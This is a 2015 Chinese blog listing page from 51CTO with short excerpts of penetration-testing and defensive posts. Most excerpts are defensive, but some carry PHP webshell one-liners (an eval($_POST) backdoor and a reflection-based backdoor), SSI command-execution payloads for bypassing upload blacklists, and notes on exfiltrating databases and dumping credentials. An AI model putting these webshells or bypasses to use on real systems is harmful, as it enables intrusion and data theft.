51CTO首页
AI.x社区
博客
学堂
精品班
软考社区
免费课
企业培训
鸿蒙开发者社区
信创认证
公众号矩阵
移动端
视频课 免费课 排行榜 短视频 直播课 软考学堂
全部课程 软考 信创认证 华为认证 厂商认证 IT技术 PMP项目管理 免费题库
在线学习
文章 资源 问答 课堂 专栏 直播
51CTO
鸿蒙开发者社区
51CTO技术栈
51CTO官微
51CTO学堂
51CTO博客
CTO训练营
鸿蒙开发者社区订阅号
51CTO软考
51CTO学堂APP
51CTO学堂企业版APP
鸿蒙开发者社区视频号
51CTO软考题库

原创内容doc文档备份到github

 https://github.com/sssssanr/sanr-paper

github
置顶 原创 2015-12-16 20:06:09 1552 阅读

漏洞演练平台

http://www.mmeit.be/bWAPP/https://github.com/710leo/ZVulDrillhttp://www.dvwa.co.uk/http://sourceforge.net/projects/dvwa-wooyun/https://github.com/Audi-1/sqli-labs

漏洞演练
置顶 原创 2015-09-06 10:21:44 1952 阅读

Web漏洞检测及修复方案

1. 注入漏洞1.1 SQL注入漏洞1.2 XSS漏洞1.3 命令注入漏洞1.4 HTTP响应头注入漏洞1.5 跳转漏洞1.6 XML注入漏洞2. 信息泄漏漏洞2.1 PHPInfo()信息泄漏漏洞2.2 测试页面泄漏在外网漏洞2.3 备份文件泄漏在外网漏洞2.4 版本管理工具文件信息泄漏漏洞2.5 HTTP认证泄漏漏洞2.6 管理后台泄漏漏洞2.7 泄漏员工电子邮箱漏洞以及分机号码2.8 错误详

安全性
置顶 原创 2015-07-22 11:35:10 3503 阅读 2收藏

国内网站监控分析网站

360网站服务监控http://jk.cloud.360.cn/阿里云监控http://www.aliyun.com/product/jiankong/DNSPod监控https://www.dnspod.cn/百度云观测http://ce.baidu.com/监控宝http://www.jiankongbao.com/小蜜蜂网站检测http://www.webxmf.com/我的E站http:/

百度
监控
网站
检测
阿里云
置顶 原创 2015-03-04 21:24:14 2380 阅读

dns数据

https://scans.io/study/sonar.fdns

dns数据
置顶 原创 2015-07-21 17:10:05 1285 阅读

安全日志分析

离线分析   缺点:特征匹配 1.误报大       logswan     360星图     elk时时分析       splunk      

日至分析
原创 2015-12-17 11:02:38 1687 阅读 1点赞 1评论

员工安全意识导致入侵

攻击手法:在我们做渗透的过程中，往往通过员工能搞定很多的企业，拿到核心的数据库，最常见的如以下几种情况。    1.密码一条龙        由于很多的互联网数据库被黑客入侵，在互联网或地下圈子流传，通过信息查询到某个公司员工邮箱，电话，姓名等可以从社工库查询到已使用的密码，而所有网站及公司系统使用的账户都同属于一个密

互联网
个人电脑
百度文库
一条龙
原创 精选 2015-12-16 20:54:34 1481 阅读

我劫持你的dns

   这篇文章把Dns分为两种，一种是主机或嵌入式设备dns，一种是网站域名dns，来讲述dns沦陷之后带来的危害。一：路由器dns劫持   你本地的网络连接的dns是通过路由器获取的，假如有一天你家里的路由被黑客入侵了，入侵者修改了你家里路由器的dns,那么他可以对你访问记录非常清楚，如系在文件，流量记录。既然解析都通过dns，我们完全可以自建dns，来进

路由器
嵌入式
网络连接
chrome
原创 推荐 2015-12-16 20:37:02 10000+阅读 4点赞 2收藏 1评论

仿Fiddler的Chrome插件

类似live http  优点:界面比较美观https://chrome.google.com/webstore/detail/fiddler/hkknfnifmbannmgkdliadghepbneplka?hl=en

Chrome
原创 2015-12-14 13:51:04 3314 阅读

win命令行打包文件(系统自带 渗透必备)

压缩一个文件： makecab c:\ls.exe ls.zip 解压一个文件： expand c:\ls.zip c:\ls.exe-------------------------------------------------------------------------------------------压缩一个文件： makecab PELoad

第三方
原创 2015-12-04 10:15:43 7863 阅读

win命令行base64编码(系统自带 内网渗透必备哟)

certutil对demo.7z进行base64编码将编码的程序还原

程序
原创 2015-10-27 16:05:43 10000+阅读 1点赞 1收藏

http_banner获取2.0

更新如下端口可自定义 默认80线程可自定义 默认10使用了队列存消息#-*-coding=utf-8-*- # __author__  = 'sanr' # __email__   = '5754190@qq.com' # __url__     =

email
return
import
version
原创 2015-10-10 21:11:11 2713 阅读

免费开源的堡垒机

JumpServer  http://www.jumpserver.org/CrazyEye   https://github.com/triaquae/CrazyEye

堡垒机
原创 2015-10-10 09:42:01 4775 阅读 1点赞

http_banner获取v0.3

更新:1.使用optparse来获取命令行参数#-*-coding=utf-8-*- # __author__  = 'sanr' # __email__   = '5754190@qq.com' # __url__     = 'http

email
return
import
version
原创 2015-10-09 17:54:06 1548 阅读

http_banner获取v0.2

#-*-coding=utf-8-*- # __author__  = 'sanr' # __email__   = '5754190@qq.com' # __url__     = 'http://0x007.blog.51cto.com

email
return
import
version
原创 2015-10-05 09:59:18 8767 阅读

C段http_banner获取

#-*-coding=utf-8-*- # __author__  = 'sanr' # __email__   = '5754190@qq.com' # __url__     = 'http://0x007.blog.51cto.com

email
智能
return
import
version
原创 2015-09-30 11:31:24 2124 阅读

RabbitMQ的安装，配置

RabbitMQ的安装  注: 1.RabbitMQ是基于Erlang的，所以首先必须配置Erlang环境。     Erlang下载 window版本 2.安装完Erlang，开始安装RabbitMQ-Server。     rabbitmq-server windo

window
原创 2015-09-30 10:11:00 991 阅读

Tiger –UNIX:一款开源安全审计 入侵检测工具

Tiger 是一个完全由shell脚本编写的UNIX的免费、开源安全工具，适用于安全审计和入侵检测。Tiger的特性:1）模块化设计，使得它扩展性比较强，2）多用途，可用于主机审计和入侵检测。Tiger的优点:从目前来说，在网络上有很多免费的入侵检测工具，检测方面也囊括了多个层面，目前主要的检测方面如下，1）网络层面的入侵检测2）Linux内核补丁入侵检测，例如像LIDS（作为内核补丁和系统管理员

linux
服务器
系统管理员
原创 2015-09-29 10:32:58 1477 阅读

文件系统检测工具AIDE

  AIDE(Advanced Intrusion Detection Environment)是一款针对文件和目录进行完整性对比检查的程序，它被开发成Tripwire的一个替代品。AIDE如何工作  这款工具年纪也不小了，相对来同类工具Tripwire说，它的操作也更加简单。它需要对系统做快照，记录下HASH值，修改时间，以及管理员对文件做的预处理。这个快

检测
原创 2015-09-29 10:26:50 1050 阅读

文件上传之黑名单验证绕过

当做代码的审计或者文件搞渗文章上传的时候有时候会遇到黑名单的验证码,比如常规的一些脚本名asp php jsp这种的不允许上传,下面是我总结的一些绕过的方法Shtml<!--#includefile="/home/www/user8534/nav_foot.htm"--> //可以用来读文件<!--#exec cmd="ifconfig"--> //可以用来执行命令iis解

文章
黑名单
数据流
小数点
原创 2015-09-15 13:47:02 8142 阅读

xxe hacking

漏洞成因:  XML 文件的解析依赖 libxml 库，而 libxml 2.9以前的版本默认支持并开启了外部实体的引用，服务端解析用户提交的 xml 文件时未对 xml 文件引用的外部实体（含外部普通实体和外部参数实体）做合适的处理。影响:  常见的XML解析方法有：DOMDocument、SimpleXML、XMLReader，这三者都基于libxml库

安全技术
原创 2015-09-10 17:30:22 1213 阅读

Microsoft SQL Server指纹识别工具

ESF.pl目前支持以下版本的MSSQL数据库：Microsoft SQL Server 2000Microsoft SQL Server 2005Microsoft SQL Server 2008Microsoft SQL Server 2012ESF.pl

Microsoft
数据库
原创 2015-09-09 14:00:14 2291 阅读

站库分离 数据库不能联网 脱大型库

自己-web-sqlserver(15G 不能联网)1.web-ipc->sqlserver2.sqlserver->ipc-web3.写脚本查询 切片4.提权web服务器 去连接sqlserver

数据库
原创 2015-09-02 17:53:55 1704 阅读

户外渗透装备

手机户外装备NetHunterTL-WN722N一加或者nexus5树莓派户外装备树莓派安装kailwifi模块(3g上网卡做路由器)或者(3g无线路由)或者(手机开AP)让树莓派连接进来。  无线密码破解完成之后,连接他们的wifi，进入网络环境，进行渗透。

wifi
手机
装备
3g上网卡
原创 2015-08-28 09:43:44 1098 阅读

python查询mx ns 记录

#!/usr/bin/env python # -*- coding: utf-8 -*- import dns.resolver #mx domain=raw_input('Please input an domain:') MX = dns.resolver.query(domain

记录
python
import
domain
原创 2015-08-26 16:18:35 1295 阅读

不重启修改计算机名【批处理】

具体用途: 安全狗防护里面有个远程桌面防护，只允许指定的计算机名登陆。@ ECHO OFF  color 0A  ECHO ----------------------------------------------------------------------------  ECHO.  ECHO&nbs

windows
计算机
版权
color
copyright
转载 精选 2015-08-26 09:16:07 1711 阅读

phantomjs

    PhantomJS 是一个基于 WebKit 的服务器端 JavaScript API。它全面支持web而不需浏览器支持，其快速，原生支持各种Web标准： DOM处理, CSS 选择器, JSON, Canvas, 和 SVG。 PhantomJS 可以用于页面自动化 ，网络监测，网页截屏，以及无界面测试等。

网络
浏览器
网页
服务器
转载 精选 2015-08-25 16:57:45 666 阅读

PHP配置指令作用域说明（PHP_INI_PERDIR、PHP_INI_SYSTEM、PHP_INI_USER、PHP_INI_ALL）

PHP总共有4个配置指令作用域：（PHP中的每个指令都有自己的作用域，指令只能在其作用域中修改，不是任何地方都能修改配置指令的）PHP_INI_PERDIR：指令可以在php.ini、httpd.conf或.htaccess文件中修改PHP_INI_SYSTEM：指令可以在php.ini 和 httpd.conf 文件中修改PHP_INI_USER：指令可以在用户脚本中修改PHP_INI_ALL：

php作用域
转载 精选 2015-08-25 14:30:08 1587 阅读

php后门隐藏技巧

一句话 and 大马 phpspy  菜刀一句话<?php@eval($_POST['cmd']);?>反射后门<?php   $func = new ReflectionFunction($_GET[m]);   echo $func->invokeArgs(array($_GET[c]));

技巧
原创 2015-08-25 10:33:02 10000+阅读

CredCrack(快速从目标系统内存中获取用户凭证)

CredCrack这款工具使用python语言开发,这个快速便捷的工具可以帮助研究人员直接从目标系统内存中获取用户凭证,说的清楚一点,就是它可以将目标网络的网络管理员账号直接显示给你。CredCrack的工作机制如果你要使用CredCrack,首先要做的就是配置环境。它会自动启用apache服务,并在你主机的/var/www目录中部署两个文件。其中一个文件为fun.ps1,另一个文件为creds.

用户
转载 精选 2015-08-24 11:05:35 1227 阅读
  • 1
  • 2
  • 3
  • 4

Copyright © 2005-2025 51CTO.COM 版权所有 京ICP证060544号

关于我们
官方博客 全部文章 热门标签 班级博客
了解我们 网站地图 意见反馈
友情链接
鸿蒙开发者社区 51CTO学堂
51CTO 软考资讯